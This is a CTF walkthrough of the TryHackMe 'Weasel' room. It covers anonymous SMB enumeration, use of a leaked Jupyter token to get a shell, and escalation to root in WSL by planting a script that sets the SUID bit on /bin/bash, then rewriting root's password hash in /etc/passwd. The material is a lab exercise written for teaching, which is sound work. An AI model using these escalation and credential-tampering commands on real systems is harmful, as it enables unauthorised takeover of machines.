Pentesting a Data Science Windows Machine | TryHackMe Weasel

Summary

In this post, we covered a CTF challenge involving getting access and compromising a windows machine used by a data science team. The environment included a Jupyter installation to host the projects file.

A novel recently released machine called Weasel is made to handle medium-level complexity related to web application vulnerabilities, smb enumeration, and the acquisition of a shell from a Jupyter notebook. It also gives users the option to use WSL (Windows Subsystem for Linux) to investigate the core operating system’s contents after exploitation. This amazing device provides insightful information and a chance for an interesting educational experience. We shall examine two different exploitation techniques in this extensive guide. The first way entails using WSL for exploitation, while the second method emphasizes Windows privilege escalation, offering a comprehensive strategy for finishing the room.

Initial Scanning and Enumeration

I started by running an Nmap scan on the target machine to identify open ports. The scan revealed several interesting ports: 22 (SSH), 135, 139, and 445 (NetBIOS/SMB), 3389 (Remote Desktop Protocol – RDP), and 8888, which was running something called “Sun AnswerBook” but I later identified as Jupyter Notebook.

SMB Enumeration and Access

My next step was to investigate the SMB server. I used the smbclient command to list available shares:

• smbclient -L //MACHINE_IP

I found an intriguing share named “data science-team.” I then tried to access its contents:

• smbclient //MACHINE_IP/data science-team

To my surprise, the share had no password protection, allowing anonymous login! Inside, I found several files related to a data science project, including Jupyter Notebook files (.ipynb extension). I downloaded two crucial files: weasel and jupyter_token.txt (from a miscellaneous directory).

• get weasel
• get jupyter_token.txt (after navigating to the directory)

I then used cat to view their contents:

• cat jupyter_token.txt
• cat weasel

The jupyter_token.txt file contained the token I needed to log into the Jupyter Notebook web interface.

Accessing Jupyter Notebook and Gaining Initial Shell

I used the token to log into the Jupyter Notebook interface running on port 8888. Jupyter Notebook is great because it allows you to run system commands directly through its terminal feature. I opened a terminal within Jupyter and immediately checked my user:

• id (This showed I was the Dev-DataScience user.)

To get a more stable shell on my attacker machine, I set up a Bash reverse shell. I used a standard Bash reverse shell one-liner (the exact command wasn’t fully shown in the video, but it’s a common technique). On my machine, I used Netcat to listen for the incoming connection.

Privilege Escalation

My ultimate goal was to escalate privileges to root. I started by checking my sudo permissions:

• sudo -l

The output was very interesting: it showed that the current user (Dev-DataScience) could run /usr/local/bin/jupyter as root. I checked the /usr/local/bin/ directory, and surprisingly, the jupyter file didn’t exist! This was a prime opportunity for privilege escalation.

I created a new malicious file named jupyter in /usr/local/bin/ using a text editor (like nano):

• nano /usr/local/bin/jupyter

Inside this file, I put the following:

• #!/bin/bash
• chmod u+s /bin/bash

This script, when executed, would set the SUID bit on the /bin/bash executable, allowing it to be run with the owner’s permissions (which, in this case, would be root).

I then executed my malicious jupyter script using sudo:

• sudo /usr/local/bin/jupyter

After the SUID bit was set, I verified it:

• ls -la /bin/bash (I looked for the ‘s’ permission, indicating SUID).

Finally, to get a root shell, I ran:

• bash -p (The -p flag ensures bash runs with effective UID if SUID is set.)

I confirmed my root access:

• id (This showed UID=0, confirming I was root!)

Full System Access and Flag Retrieval (Windows Context)

Even though I had root access in the Linux subsystem, the flags were on the underlying Windows system. To get persistent root access and easily modify system files, I decided to change the root user’s password in the Linux environment. I generated a password hash:

• openssl passwd -6 -salt <salt> <password> (For example, openssl passwd -6 root123 to get a SHA512 hash).

I then manually added this generated hash to the /etc/passwd file, replacing the existing hash for the root user:

• nano /etc/passwd

After changing the password, I switched to the root user using the new password:

• su - root (I entered root123 as the password.)

Finally, I needed to mount the Windows C: drive to access its contents:

• mount -t drvfs C: /mnt (or a similar path like /mnt/c).

Once mounted, I navigated through the Windows file system to find the flags:

• cd /mnt/Users/Dev-DataScience/Desktop
• cat user.txt (to retrieve the user flag)
• cd /mnt/Users/Administrator/Desktop
• cat root.txt (to retrieve the root flag)

This room was a great learning experience, especially for understanding how to pentest data science environments, which isn’t a very common topic.

TryHackMe Weasel Answers

Video Walk-through